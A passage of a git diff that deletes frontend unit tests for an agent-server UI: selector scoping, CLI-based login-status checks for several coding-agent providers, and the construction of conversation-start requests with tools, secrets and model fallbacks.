, - ); - - const scopeRoot = document.querySelector( - AGENT_SERVER_UI_SCOPE_SELECTOR, - ); - - expect(scopeRoot).toHaveClass("outer-shell"); - expect(scopeRoot?.style.getPropertyValue("--oh-color-primary")).toBe( - "#abcdef", - ); - - const themedContainer = - scopeRoot?.firstElementChild as HTMLDivElement | null; - expect(themedContainer).toHaveAttribute("data-theme", "light"); - expect(themedContainer).toHaveClass("light", "inner-shell"); - expect(themedContainer).toContainElement(screen.getByTestId("root-child")); - }); -}); diff --git a/__tests__/agent-server-ui-style-scope.test.ts b/__tests__/agent-server-ui-style-scope.test.ts deleted file mode 100644 index 8335ae10b..000000000 --- a/__tests__/agent-server-ui-style-scope.test.ts +++ /dev/null @@ -1,52 +0,0 @@ -import { describe, expect, it } from "vitest"; -import { - AGENT_SERVER_UI_SCOPE_SELECTOR, - transformAgentServerUISelector, -} from "#/styles/agent-server-ui-style-scope"; - -describe("transformAgentServerUISelector", () => { - it("prefixes ordinary selectors under the scoped root", () => { - expect( - transformAgentServerUISelector( - AGENT_SERVER_UI_SCOPE_SELECTOR, - ".button-base", - `${AGENT_SERVER_UI_SCOPE_SELECTOR} .button-base`, - ), - ).toBe(`${AGENT_SERVER_UI_SCOPE_SELECTOR} .button-base`); - }); - - it("replaces :host selectors with the scoped root", () => { - expect( - transformAgentServerUISelector( - AGENT_SERVER_UI_SCOPE_SELECTOR, - ":host", - `${AGENT_SERVER_UI_SCOPE_SELECTOR} :host`, - ), - ).toBe(AGENT_SERVER_UI_SCOPE_SELECTOR); - }); - - it.each([":root", "body", "html"])( - "maps %s selectors directly to the scoped root", - (selector) => { - expect( - transformAgentServerUISelector( - AGENT_SERVER_UI_SCOPE_SELECTOR, - selector, - `${AGENT_SERVER_UI_SCOPE_SELECTOR} ${selector}`, - ), - ).toBe(AGENT_SERVER_UI_SCOPE_SELECTOR); - }, - ); - - it("does not double-prefix selectors that are already scoped", () => { - const selector = `${AGENT_SERVER_UI_SCOPE_SELECTOR} .xterm`; - - expect( - transformAgentServerUISelector( - AGENT_SERVER_UI_SCOPE_SELECTOR, - selector, - `${AGENT_SERVER_UI_SCOPE_SELECTOR} ${selector}`, - ), - ).toBe(selector); - }); -}); diff --git a/__tests__/api/acp-service/acp-service.api.test.ts b/__tests__/api/acp-service/acp-service.api.test.ts deleted file mode 100644 index d35a2b6cf..000000000 --- a/__tests__/api/acp-service/acp-service.api.test.ts +++ /dev/null @@ -1,130 +0,0 @@ -import { beforeEach, describe, expect, it, vi } from "vitest"; -import type { BashOutput } from "@openhands/typescript-client"; -import AcpService from "#/api/acp-service/acp-service.api"; - -// Capture the command the service runs and control the BashOutput it sees. -const executeCommand = vi.hoisted(() => vi.fn()); -vi.mock("@openhands/typescript-client/clients", () => ({ - BashClient: class { - executeCommand = executeCommand; - }, -})); -vi.mock("#/api/agent-server-client-options", () => ({ - getAgentServerClientOptions: () => ({ - host: "http://localhost", - workingDir: "/", - }), -})); - -function bashOutput(partial: Partial): BashOutput { - return { - id: "1", - timestamp: "2026-01-01T00:00:00Z", - command_id: "c1", - order: 0, - exit_code: 0, - stdout: null, - stderr: null, - kind: "BashOutput", - ...partial, - } as BashOutput; -} - -beforeEach(() => vi.clearAllMocks()); - -describe("AcpService.getAuthStatus", () => { - describe("claude-code (claude auth status --json)", () => { - it("runs the right command and maps loggedIn:true → authenticated", async () => { - executeCommand.mockResolvedValue( - bashOutput({ - stdout: JSON.stringify({ loggedIn: true, authMethod: "claude.ai" }), - }), - ); - await expect(AcpService.getAuthStatus("claude-code")).resolves.toBe( - "authenticated", - ); - expect(executeCommand).toHaveBeenCalledWith( - "claude auth status --json", - undefined, - expect.any(Number), - ); - }); - - it("maps loggedIn:false (even with a non-zero exit) → unauthenticated", async () => { - executeCommand.mockResolvedValue( - bashOutput({ - stdout: JSON.stringify({ loggedIn: false }), - exit_code: 1, - }), - ); - await expect(AcpService.getAuthStatus("claude-code")).resolves.toBe( - "unauthenticated", - ); - }); - - it("→ unknown when the CLI is missing (exit 127, no JSON on stdout)", async () => { - // The "no available ACP process / CLI not installed" path. - executeCommand.mockResolvedValue( - bashOutput({ - exit_code: 127, - stderr: "env: claude: No such file or directory", - }), - ); - await expect(AcpService.getAuthStatus("claude-code")).resolves.toBe( - "unknown", - ); - }); - }); - - describe("codex (codex login status)", () => { - it("→ authenticated even though the CLI writes to stderr", async () => { - executeCommand.mockResolvedValue( - bashOutput({ stderr: "Logged in using ChatGPT\n" }), - ); - await expect(AcpService.getAuthStatus("codex")).resolves.toBe( - "authenticated", - ); - }); - - it("→ unauthenticated on 'Not logged in'", async () => { - executeCommand.mockResolvedValue( - bashOutput({ stderr: "Not logged in\n" }), - ); - await expect(AcpService.getAuthStatus("codex")).resolves.toBe( - "unauthenticated", - ); - }); - - it("→ unknown when the CLI is missing", async () => { - executeCommand.mockResolvedValue( - bashOutput({ exit_code: 127, stderr: "codex: command not found" }), - ); - await expect(AcpService.getAuthStatus("codex")).resolves.toBe("unknown"); - }); - }); - - describe("gemini-cli (credentials file check)", () => { - it("→ authenticated when the creds file is present", async () => { - executeCommand.mockResolvedValue(bashOutput({ stdout: "present\n" })); - await expect(AcpService.getAuthStatus("gemini-cli")).resolves.toBe( - "authenticated", - ); - // Probes the OAuth creds file, not a (nonexistent) gemini status command. - expect(executeCommand.mock.calls[0][0]).toContain("oauth_creds.json"); - }); - - it("→ unauthenticated when the creds file is absent", async () => { - executeCommand.mockResolvedValue(bashOutput({ stdout: "absent\n" })); - await expect(AcpService.getAuthStatus("gemini-cli")).resolves.toBe( - "unauthenticated", - ); - }); - }); - - it("→ unknown for an unprobeable provider, without running any command", async () => { - await expect(AcpService.getAuthStatus("openhands")).resolves.toBe( - "unknown", - ); - expect(executeCommand).not.toHaveBeenCalled(); - }); -}); diff --git a/__tests__/api/agent-server-adapter.test.ts b/__tests__/api/agent-server-adapter.test.ts deleted file mode 100644 index ad52b7b80..000000000 --- a/__tests__/api/agent-server-adapter.test.ts +++ /dev/null @@ -1,1621 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { CANVAS_UI_CLIENT_TOOL_NAME } from "#/constants/canvas-ui"; - -import { - ACP_SERVER_TAG_KEY, - buildRuntimeServicesSystemSuffix, - buildStartConversationRequest, - getDefaultConversationTitle, - toAppConversation, - type DirectConversationInfo, -} from "#/api/agent-server-adapter"; -import { - removeStoredConversationMetadata, - setStoredConversationMetadata, -} from "#/api/conversation-metadata-store"; -import { ACP_VERTEX_SAFE_MODEL } from "#/constants/acp-providers"; -import { DEFAULT_SETTINGS } from "#/services/settings"; -import { - LLM_AUTH_TYPE_SUBSCRIPTION, - OPENAI_SUBSCRIPTION_VENDOR, -} from "#/constants/llm-subscription"; - -const { - mockGetAgentServerWorkingDir, - mockIsAgentServerToolAvailable, - mockGetEffectiveLocalBackend, -} = vi.hoisted(() => ({ - mockGetAgentServerWorkingDir: vi.fn(() => "/workspace/project/agent-canvas"), - mockIsAgentServerToolAvailable: vi.fn((_toolName: string) => true), - mockGetEffectiveLocalBackend: vi.fn(() => ({ - id: "default-local", - name: "Local backend", - host: "http://127.0.0.1:8000", - apiKey: "session-key", - kind: "local" as const, - })), -})); - -vi.mock("#/api/agent-server-config", () => ({ - getAgentServerBaseUrl: vi.fn(() => "http://127.0.0.1:8000"), - getAgentServerSessionApiKey: vi.fn(() => null), - getAgentServerWorkingDir: mockGetAgentServerWorkingDir, - shouldLoadPublicSkills: vi.fn(() => true), - syncBakedSessionApiKey: vi.fn(), -})); - -vi.mock("#/api/agent-server-compatibility", () => ({ - isAgentServerToolAvailable: mockIsAgentServerToolAvailable, -})); - -vi.mock("#/api/backend-registry/active-store", () => ({ - getEffectiveLocalBackend: mockGetEffectiveLocalBackend, -})); - -beforeEach(() => { - mockIsAgentServerToolAvailable.mockReturnValue(true); - mockGetEffectiveLocalBackend.mockReturnValue({ - id: "default-local", - name: "Local backend", - host: "http://127.0.0.1:8000", - apiKey: "session-key", - kind: "local", - }); -}); - -describe("buildStartConversationRequest", () => { - it("includes the resolved title LLM profile when configured", () => { - const payload = buildStartConversationRequest({ - settings: DEFAULT_SETTINGS, - titleLlmProfile: "Titles", - }); - - expect(payload.title_llm_profile).toBe("Titles"); - }); - - it("omits the title LLM profile in automatic mode without a default", () => { - const payload = buildStartConversationRequest({ - settings: DEFAULT_SETTINGS, - }); - - expect(payload).not.toHaveProperty("title_llm_profile"); - }); - - it("uses nested settings as the source of truth and lets the SDK create the agent", () => { - const payload = buildStartConversationRequest({ - settings: { - ...DEFAULT_SETTINGS, - llm_model: "stale-top-level-model", - agent_settings: { - ...DEFAULT_SETTINGS.agent_settings, - agent: "CodeActAgent", - enable_sub_agents: true, - llm: { - model: "nested-model", - api_key: " nested-key ", - base_url: " https://nested.example.com ", - }, - condenser: { - enabled: true, - max_size: 120, - }, - enable_switch_llm_tool: true, - }, - conversation_settings: { - ...DEFAULT_SETTINGS.conversation_settings, - max_iterations: 123, - }, - }, - query: "hello", - }) as { - agent?: unknown; - agent_settings: Record & { - llm: Record; - tools: Array<{ name: string; params: Record }>; - agent_context: Record; - }; - workspace: { working_dir: string }; - initial_message: { content: Array<{ text: string }> }; - max_iterations: number; - }; - - expect(payload.agent).toBeUndefined(); - expect(payload.agent_settings.llm).toMatchObject({ - model: "nested-model", - api_key: "nested-key", - base_url: "https://nested.example.com", - // Streaming is enabled so the OpenHands agent emits StreamingDeltaEvents. - stream: true, - }); - expect(payload.agent_settings.condenser).toEqual({ - enabled: true, - max_size: 120, - }); - expect(payload.agent_settings.tools).toEqual([ - { name: "terminal", params: {} }, - { name: "file_editor", params: {} }, - { name: "task_tracker", params: {} }, - { name: "browser_tool_set", params: {} }, - { name: "task_tool_set", params: {} }, - ]); - expect(payload.agent_settings.agent_context).toMatchObject({ - load_public_skills: false, - load_user_skills: true, - load_project_skills: true, - }); - // Bundled public skills are injected into agent_context.skills so the - // SDK can perform trigger matching without cloning the extensions repo. - expect(Array.isArray(payload.agent_settings.agent_context.skills)).toBe( - true, - ); - const skills = payload.agent_settings.agent_context.skills as Record< - string, - unknown - >[]; - expect(skills.length).toBeGreaterThan(0); - // Every bundled skill must carry the fields the SDK needs for trigger - // matching and system-prompt injection. - for (const skill of skills) { - expect(skill).toHaveProperty("name"); - expect(skill).toHaveProperty("content"); - // source must be an absolute path to the skill's SKILL.md so the - // Python agent-server can resolve bundled resources (scripts/, references/). - const source = skill.source as string; - expect(source).toMatch(/^\//); - expect(source).toMatch( - new RegExp(`/${skill.name as string}/SKILL\\.md$`), - ); - expect(skill).toHaveProperty("is_agentskills_format", true); - // trigger is either null (always-active) or { type, keywords } - if (skill.trigger !== null) { - expect(skill.trigger).toMatchObject({ - type: "keyword", - keywords: expect.arrayContaining([expect.any(String)]), - }); - } - } - expect(payload.agent_settings.agent).toBe("CodeActAgent"); - expect(payload.agent_settings.enable_switch_llm_tool).toBe(true); - expect(payload.workspace.working_dir).toBe( - "/workspace/project/agent-canvas", - ); - expect(payload.max_iterations).toBe(123); - expect(payload.initial_message.content[0]?.text).toBe("hello"); - }); - - it("uses subscription auth metadata without API credentials", () => { - const payload = buildStartConversationRequest({ - settings: { - ...DEFAULT_SETTINGS, - agent_settings: { - ...DEFAULT_SETTINGS.agent_settings, - llm: { - model: "gpt-5.2-codex", - api_key: "stale-api-key", - base_url: "https://api.openai.com/v1", - auth_type: LLM_AUTH_TYPE_SUBSCRIPTION, - subscription_vendor: OPENAI_SUBSCRIPTION_VENDOR, - }, - }, - }, - }) as { agent_settings: { llm: Record } }; - - expect(payload.agent_settings.llm).toEqual({ - model: "gpt-5.2-codex", - stream: true, - auth_type: LLM_AUTH_TYPE_SUBSCRIPTION, - subscription_vendor: OPENAI_SUBSCRIPTION_VENDOR, - }); - }); - - it("passes the stored model through unchanged for subscription auth", () => { - const payload = buildStartConversationRequest({ - settings: { - ...DEFAULT_SETTINGS, - agent_settings: { - ...DEFAULT_SETTINGS.agent_settings, - llm: { - model: "openai/gpt-4o", - auth_type: LLM_AUTH_TYPE_SUBSCRIPTION, - subscription_vendor: OPENAI_SUBSCRIPTION_VENDOR, - }, - }, - }, - }) as { agent_settings: { llm: Record } }; - - expect(payload.agent_settings.llm.model).toBe("openai/gpt-4o"); - }); - - it("forwards the switch-LLM setting to SDK agent settings", () => { - const payload = buildStartConversationRequest({ - settings: { - ...DEFAULT_SETTINGS, - agent_settings: { - ...DEFAULT_SETTINGS.agent_settings, - enable_switch_llm_tool: true, - llm: { model: "nested-model" }, - }, - }, - }) as { - agent?: unknown; - agent_settings: { - enable_switch_llm_tool?: boolean; - include_default_tools?: unknown; - }; - }; - - expect(payload.agent).toBeUndefined(); - expect(payload.agent_settings.enable_switch_llm_tool).toBe(true); - expect(payload.agent_settings.include_default_tools).toBeUndefined(); - }); - - it("omits browser_tool_set and task_tool_set when the server does not advertise them", () => { - mockIsAgentServerToolAvailable.mockReturnValue(false); - - const payload = buildStartConversationRequest({ - settings: { - ...DEFAULT_SETTINGS, - agent_settings: { - ...DEFAULT_SETTINGS.agent_settings, - llm: { model: "nested-model" }, - }, - }, - }) as { - agent_settings: { - tools: Array<{ name: string; params: Record }>; - }; - }; - - expect(payload.agent_settings.tools).toEqual([ - { name: "terminal", params: {} }, - { name: "file_editor", params: {} }, - { name: "task_tracker", params: {} }, - ]); - }); - - it("includes task_tool_set when sub-agents are enabled and the server advertises it but not browser tools", () => { - mockIsAgentServerToolAvailable.mockImplementation( - (toolName: string) => toolName === "task_tool_set", - ); - - const payload = buildStartConversationRequest({ - settings: { - ...DEFAULT_SETTINGS, - agent_settings: { - ...DEFAULT_SETTINGS.agent_settings, - enable_sub_agents: true, - llm: { model: "nested-model" }, - }, - }, - }) as { - agent_settings: { - tools: Array<{ name: string; params: Record }>; - }; - }; - - expect(payload.agent_settings.tools).toEqual([ - { name: "terminal", params: {} }, - { name: "file_editor", params: {} }, - { name: "task_tracker", params: {} }, - { name: "task_tool_set", params: {} }, - ]); - }); - - it("omits task_tool_set when sub-agents are disabled even if the server advertises it", () => { - const payload = buildStartConversationRequest({ - settings: { - ...DEFAULT_SETTINGS, - agent_settings: { - ...DEFAULT_SETTINGS.agent_settings, - enable_sub_agents: false, - llm: { model: "nested-model" }, - }, - }, - }) as { - agent_settings: { - tools: Array<{ name: string; params: Record }>; - }; - }; - - const toolNames = payload.agent_settings.tools.map((t) => t.name); - expect(toolNames).not.toContain("task_tool_set"); - }); - - it("derives confirmation and security settings the same way as OpenHands", () => { - const payload = buildStartConversationRequest({ - settings: { - ...DEFAULT_SETTINGS, - agent_settings: { - ...DEFAULT_SETTINGS.agent_settings, - llm: { model: "nested-model" }, - }, - conversation_settings: { - ...DEFAULT_SETTINGS.conversation_settings, - confirmation_mode: true, - security_analyzer: "llm", - }, - }, - }) as { - confirmation_policy: Record; - security_analyzer: Record; - }; - - expect(payload.confirmation_policy).toEqual({ - kind: "ConfirmRisky", - threshold: "HIGH", - confirm_unknown: true, - }); - expect(payload.security_analyzer).toEqual({ - kind: "LLMSecurityAnalyzer", - }); - }); - - it("uses the supplied conversationId and workingDir overrides", () => { - const conversationId = "11111111-1111-4111-8111-111111111111"; - const workingDir = `/base/${conversationId}`; - const payload = buildStartConversationRequest({ - settings: { - ...DEFAULT_SETTINGS, - agent_settings: { - ...DEFAULT_SETTINGS.agent_settings, - llm: { model: "nested-model" }, - }, - }, - conversationId, - workingDir, - }) as { - conversation_id?: string; - workspace: { working_dir: string }; - }; - - expect(payload.conversation_id).toBe(conversationId); - expect(payload.workspace.working_dir).toBe(workingDir); - }); - - it("requests a git worktree for new conversations by default", () => { - const payload = buildStartConversationRequest({ - settings: { - ...DEFAULT_SETTINGS, - agent_settings: { - ...DEFAULT_SETTINGS.agent_settings, - llm: { model: "nested-model" }, - }, - }, - }) as { worktree: boolean }; - - expect(payload.worktree).toBe(true); - }); - - it("can start a conversation without requesting a git worktree", () => { - const payload = buildStartConversationRequest({ - settings: { - ...DEFAULT_SETTINGS, - agent_settings: { - ...DEFAULT_SETTINGS.agent_settings, - llm: { model: "nested-model" }, - }, - }, - workingDir: "/Users/devin/project-without-git", - worktree: false, - }) as { worktree: boolean; workspace: { working_dir: string } }; - - expect(payload.worktree).toBe(false); - expect(payload.workspace.working_dir).toBe( - "/Users/devin/project-without-git", - ); - }); - - it("forwards supported conversation runtime fields from nested settings", () => { - const payload = buildStartConversationRequest({ - settings: { - ...DEFAULT_SETTINGS, - agent_settings: { - ...DEFAULT_SETTINGS.agent_settings, - llm: { model: "nested-model" }, - }, - conversation_settings: { - ...DEFAULT_SETTINGS.conversation_settings, - hook_config: { on_start: [] }, - tool_module_qualnames: { demo_tool: "pkg.tools.demo" }, - agent_definitions: [ - { name: "reviewer", system_prompt: "be helpful" }, - ], - }, - }, - conversationInstructions: "Follow the repo conventions.", - plugins: [ - { source: "github.com/org/plugin", ref: "main", repo_path: "/" }, - ], - }) as Record; - - expect(payload.hook_config).toEqual({ on_start: [] }); - expect(payload.tool_module_qualnames).toEqual({ - demo_tool: "pkg.tools.demo", - }); - expect(payload.agent_definitions).toEqual([ - { name: "reviewer", system_prompt: "be helpful" }, - ]); - expect(payload.plugins).toEqual([ - { source: "github.com/org/plugin", ref: "main", repo_path: "/" }, - ]); - expect(payload.initial_message).toEqual({ - role: "user", - content: [{ type: "text", text: "Follow the repo conventions." }], - run: true, - }); - }); - - it("serializes custom secrets as host-relative LookupSecret entries", () => { - const payload = buildStartConversationRequest({ - settings: { - ...DEFAULT_SETTINGS, - agent_settings: { - ...DEFAULT_SETTINGS.agent_settings, - llm: { model: "nested-model" }, - }, - }, - customSecrets: [ - { name: "API_KEY", description: "Primary API key" }, - { name: "folder/name", description: "Nested secret" }, - ], - }) as { - secrets: Record< - string, - { - kind: string; - url: string; - description?: string; - headers?: Record; - } - >; - }; - - expect(payload.secrets).toEqual({ - API_KEY: { - kind: "LookupSecret", - url: "/api/settings/secrets/API_KEY", - description: "Primary API key", - headers: { "X-Session-API-Key": "session-key" }, - }, - "folder/name": { - kind: "LookupSecret", - url: "/api/settings/secrets/folder%2Fname", - description: "Nested secret", - headers: { "X-Session-API-Key": "session-key" }, - }, - }); - }); - - it("does NOT mirror conversation secrets onto agent_context for ACP — request.secrets is the sole channel", () => { - // The compatible agent-server line injects the ACP spawn env from - // ``secret_registry``, which is seeded from ``request.secrets`` - // (sdk#3299/#3464; the agent_context drain is gone entirely in sdk#3528). - // Mirroring the map onto ``agent_context.secrets`` would keep a second, - // dead credential channel alive (agent-canvas#1039 wants exactly one). - const payload = buildStartConversationRequest({ - settings: { - ...DEFAULT_SETTINGS, - agent_settings: { - ...DEFAULT_SETTINGS.agent_settings, - agent_kind: "acp", - acp_server: "claude-code", - acp_command: ["npx", "-y", "@agentclientprotocol/claude-agent-acp"], - }, - }, - customSecrets: [{ name: "ANTHROPIC_API_KEY" }], - }) as { - agent_settings: { agent_context?: { secrets?: Record } }; - secrets: Record; - }; - - expect(payload.secrets.ANTHROPIC_API_KEY).toBeDefined(); - expect(payload.agent_settings.agent_context?.secrets).toBeUndefined(); - }); - - it("does not synthesize agent_context.secrets for ACP when no custom secrets are set", () => { - // Empty/absent customSecrets must not introduce an empty - // ``agent_context.secrets`` map on the ACPAgent payload. - const payload = buildStartConversationRequest({ - settings: { - ...DEFAULT_SETTINGS, - agent_settings: { - ...DEFAULT_SETTINGS.agent_settings, - agent_kind: "acp", - acp_server: "claude-code", - acp_command: ["npx", "-y", "@agentclientprotocol/claude-agent-acp"], - }, - }, - }) as { - agent_settings: { agent_context?: { secrets?: Record } }; - }; - - expect(payload.agent_settings.agent_context?.secrets).toBeUndefined(); - }); - - it("does not mirror conversation secrets onto agent_context for non-ACP conversations", () => { - // The OpenHands ``Agent`` reads secrets from ``secret_registry`` - // directly (no spawn-env bridging needed), so the LLM-driven path - // must not get an extra ``agent_context.secrets`` map — that would - // be both redundant and a surprise for any code that inspects - // ``agent_context`` for non-secret payload (skills, suffixes, etc.). - const payload = buildStartConversationRequest({ - settings: DEFAULT_SETTINGS, - customSecrets: [{ name: "ANTHROPIC_API_KEY" }], - }) as { - agent_settings: { agent_context?: { secrets?: Record } }; - }; - - expect(payload.agent_settings.agent_context?.secrets).toBeUndefined(); - }); - - describe("ACP secret delivery", () => { - // Settings factory for a containerized ACP conversation. - const acpSettings = (overrides: Record = {}) => ({ - ...DEFAULT_SETTINGS, - agent_settings: { - ...DEFAULT_SETTINGS.agent_settings, - agent_kind: "acp", - acp_server: "codex", - acp_command: ["npx", "-y", "@zed-industries/codex-acp"], - acp_model: "gpt-5.5/medium", - ...overrides, - }, - }); - - it("delivers provider credentials and user secrets uniformly as LookupSecrets in request.secrets only", () => { - // Provider credentials (e.g. a saved CODEX_AUTH_JSON) are no longer special - // on the wire — they ride as LookupSecrets like any custom secret. The SDK - // resolves them off the event loop at spawn, so the loopback fetch is safe - // (software-agent-sdk#3510). "Reserved" is now only an onboarding concept. - const payload = buildStartConversationRequest({ - settings: acpSettings(), - customSecrets: [{ name: "CODEX_AUTH_JSON" }, { name: "MY_TOKEN" }], - }) as { - agent_settings: { - acp_model?: string; - agent_context?: { secrets?: Record }; - }; - secrets: Record; - }; - - expect(payload.secrets.CODEX_AUTH_JSON?.kind).toBe("LookupSecret"); - expect(payload.secrets.MY_TOKEN?.kind).toBe("LookupSecret"); - // ``request.secrets`` is the sole channel — no agent_context mirror - // (agent-server >=1.25.0 injects the spawn env from secret_registry). - expect(payload.agent_settings.agent_context?.secrets).toBeUndefined(); - // The configured model rides along unchanged. - expect(payload.agent_settings.acp_model).toBe("gpt-5.5/medium"); - }); - - it("does NOT set secrets_encrypted for ACP — there is no encrypted payload to decrypt", () => { - // An ACP request carries no encrypted secret (no LLM api_key; credentials - // are LookupSecrets resolved at runtime). Flagging it encrypted hard-fails - // ("cipher not configured") on a fresh ACP container without OH_SECRET_KEY. - const payload = buildStartConversationRequest({ - settings: acpSettings(), - secretsEncrypted: true, - customSecrets: [{ name: "CODEX_AUTH_JSON" }], - }) as { secrets_encrypted?: boolean }; - expect(payload.secrets_encrypted).toBeUndefined(); - }); - - it("still sets secrets_encrypted for a non-ACP conversation (encrypted LLM key)", () => { - const payload = buildStartConversationRequest({ - settings: DEFAULT_SETTINGS, - secretsEncrypted: true, - }) as { secrets_encrypted?: boolean }; - expect(payload.secrets_encrypted).toBe(true); - }); - }); - - describe("canvas_ui client tool injection", () => { - it("sends canvas_ui as a client-defined JSON tool", () => { - const payload = buildStartConversationRequest({ - settings: DEFAULT_SETTINGS, - }); - - expect(payload.client_tools).toHaveLength(1); - expect(payload.client_tools[0]).toMatchObject({ - name: CANVAS_UI_CLIENT_TOOL_NAME, - parameters: { - type: "object", - properties: { - command: { - enum: ["navigate_to_file", "open_tab", "show_preview"], - }, - }, - required: ["command"], - }, - annotations: { - readOnlyHint: true, - destructiveHint: false, - idempotentHint: true, - openWorldHint: false, - }, - }); - expect( - payload.agent_settings?.tools?.map((tool) => tool.name) ?? [], - ).not.toContain("canvas_ui"); - expect(payload.tool_module_qualnames).toBeUndefined(); - }); - - it("omits the client tool for an inline ACP agent", () => { - const payload = buildStartConversationRequest({ - settings: { - ...DEFAULT_SETTINGS, - agent_settings: { - ...DEFAULT_SETTINGS.agent_settings, - agent_kind: "acp", - acp_server: "custom", - acp_command: ["custom-acp"], - }, - }, - }); - - expect(payload.client_tools).toEqual([]); - }); - - it("omits the client tool for an ACP profile when global settings are stale", () => { - const payload = buildStartConversationRequest({ - settings: DEFAULT_SETTINGS, - agentProfileId: "profile-acp", - agentProfileKind: "acp", - }); - - expect(payload.client_tools).toEqual([]); - }); - - it("sends the client tool for an OpenHands profile", () => { - const payload = buildStartConversationRequest({ - settings: DEFAULT_SETTINGS, - agentProfileId: "profile-openhands", - agentProfileKind: "openhands", - }); - - expect(payload.client_tools.map((tool) => tool.name)).toEqual([ - CANVAS_UI_CLIENT_TOOL_NAME, - ]); - }); - - it("sends the client tool when resuming a conversation", () => { - const payload = buildStartConversationRequest({ - settings: DEFAULT_SETTINGS, - conversationId: "legacy-conversation-id", - }) as { conversation_id: string; client_tools: Array<{ name: string }> }; - - expect(payload.conversation_id).toBe("legacy-conversation-id"); - expect(payload.client_tools.map((tool) => tool.name)).toEqual([ - CANVAS_UI_CLIENT_TOOL_NAME, - ]); - }); - - it("drops conflicting user-supplied Canvas module qualnames", () => { - const payload = buildStartConversationRequest({ - settings: { - ...DEFAULT_SETTINGS, - conversation_settings: { - ...DEFAULT_SETTINGS.conversation_settings, - tool_module_qualnames: { - canvas_ui: "custom_canvas_ui_tool", - [CANVAS_UI_CLIENT_TOOL_NAME]: "custom_canvas_ui_control_tool", - my_tool: "my_package.my_tool", - }, - }, - }, - }) as { tool_module_qualnames: Record }; - - expect(payload.tool_module_qualnames).toEqual({ - my_tool: "my_package.my_tool", - }); - }); - - it("preserves non-Canvas custom tool modules", () => { - const payload = buildStartConversationRequest({ - settings: { - ...DEFAULT_SETTINGS, - conversation_settings: { - ...DEFAULT_SETTINGS.conversation_settings, - tool_module_qualnames: { my_tool: "my_package.my_tool" }, - }, - }, - }) as { tool_module_qualnames: Record }; - - expect(payload.tool_module_qualnames).toEqual({ - my_tool: "my_package.my_tool", - }); - }); - }); - - // @spec LLD-001 — Frontend always sends its chosen default model - describe("llm.model fallback — frontend always sends its chosen default", () => { - type ModelPayload = { - agent_settings: Record & { - llm: Record; - }; - }; - - function getModelFrom( - options: Parameters[0], - ): unknown { - return (buildStartConversationRequest(options) as unknown as ModelPayload) - .agent_settings.llm.model; - } - - it("uses the configured model when one is set", () => { - expect( - getModelFrom({ - settings: { - ...DEFAULT_SETTINGS, - agent_settings: { - ...DEFAULT_SETTINGS.agent_settings, - llm: { model: "anthropic/claude-opus-4-5" }, - }, - }, - }), - ).toBe("anthropic/claude-opus-4-5"); - }); - - // The agent-server returns '' when no model has been saved yet. - // Without this guard the empty string passes the old typeof check and - // the agent-server falls back to its own SDK default (gpt-5.5). - // SettingsValue includes scalars so inline literals are type-safe here. - it.each([ - ["undefined", { ...DEFAULT_SETTINGS.agent_settings, llm: {} }], - [ - "an empty string", - { ...DEFAULT_SETTINGS.agent_settings, llm: { model: "" } }, - ], - [ - "whitespace only", - { ...DEFAULT_SETTINGS.agent_settings, llm: { model: " " } }, - ], - // No llm key at all — SettingsValue accepts plain scalars. - [ - "absent (no llm block)", - { schema_version: 1, agent_kind: "openhands", agent: "CodeActAgent" }, - ], - // Mirrors a fresh user who skipped onboarding: server returns {}. - ["entirely empty", {}], - ])( - "falls back to DEFAULT_SETTINGS.llm_model when agent_settings.llm.model is %s", - (_, agentSettings) => { - expect( - getModelFrom({ - settings: { - ...DEFAULT_SETTINGS, - // eslint-disable-next-line @typescript-eslint/no-explicit-any - agent_settings: agentSettings as any, - }, - }), - ).toBe(DEFAULT_SETTINGS.llm_model); - }, - ); - - // encryptedAgentSettings overrides settings.agent_settings at conversation - // start; if the encrypted payload has no model set the frontend default - // must still be sent explicitly. - it.each([ - ["carries an empty model", { llm: { model: "" } }], - ["is empty", {}], - ])( - "falls back to DEFAULT_SETTINGS.llm_model when encryptedAgentSettings %s", - (_, encryptedAgentSettings) => { - expect( - getModelFrom({ - settings: DEFAULT_SETTINGS, - // eslint-disable-next-line @typescript-eslint/no-explicit-any - encryptedAgentSettings: encryptedAgentSettings as any, - }), - ).toBe(DEFAULT_SETTINGS.llm_model); - }, - ); - }); -}); - -describe("getDefaultConversationTitle", () => { - it("formats the title using the first 5 characters of the conversation id", () => { - expect(getDefaultConversationTitle("372eb-1234-5678-9abc")).toBe( - "Conversation 372eb", - ); - }); -}); - -describe("toAppConversation", () => { - const baseInfo: DirectConversationInfo = { - id: "372eb-1234-5678-9abc", - created_at: "2026-01-01T00:00:00Z", - updated_at: "2026-01-01T00:00:00Z", - }; - - it("falls back to the default title when the backend returns null", () => { - const result = toAppConversation({ ...baseInfo, title: null }); - expect(result.title).toBe("Conversation 372eb"); - }); - - it("falls back to the default title when the backend returns undefined", () => { - const result = toAppConversation({ ...baseInfo }); - expect(result.title).toBe("Conversation 372eb"); - }); - - it("falls back to the default title when the backend returns an empty string", () => { - const result = toAppConversation({ ...baseInfo, title: "" }); - expect(result.title).toBe("Conversation 372eb"); - }); - - it("falls back to the default title when the backend returns whitespace only", () => { - const result = toAppConversation({ ...baseInfo, title: " " }); - expect(result.title).toBe("Conversation 372eb"); - }); - - it("preserves a backend-provided title when one is set", () => { - const result = toAppConversation({ - ...baseInfo, - title: "My real title", - }); - expect(result.title).toBe("My real title"); - }); - - it("hydrates selected_workspace from stored metadata so the sidebar can group by it", () => { - setStoredConversationMetadata(baseInfo.id, { - selected_repository: null, - selected_branch: null, - git_provider: null, - selected_workspace: "/workspace/agent-server-gui", - }); - try { - const result = toAppConversation({ - ...baseInfo, - workspace: { working_dir: "/workspace/agent-server-gui/wt-abc" }, - }); - expect(result.selected_workspace).toBe("/workspace/agent-server-gui"); - } finally { - removeStoredConversationMetadata(baseInfo.id); - } - }); - - it("hydrates active_profile from stored metadata so the switcher shows the exact profile (#1082)", () => { - setStoredConversationMetadata(baseInfo.id, { - selected_repository: null, - selected_branch: null, - git_provider: null, - active_profile: "claude-sonnet-4.6", - }); - try { - const result = toAppConversation({ - ...baseInfo, - agent: { - kind: "Agent", - llm: { model: "openhands/claude-sonnet-4-6" }, - }, - }); - expect(result.active_profile).toBe("claude-sonnet-4.6"); - } finally { - removeStoredConversationMetadata(baseInfo.id); - } - }); - - it("marks openhands conversations and surfaces the agent.llm.model", () => { - const result = toAppConversation({ - ...baseInfo, - agent: { kind: "Agent", llm: { model: "claude-sonnet-4-6" } }, - }); - 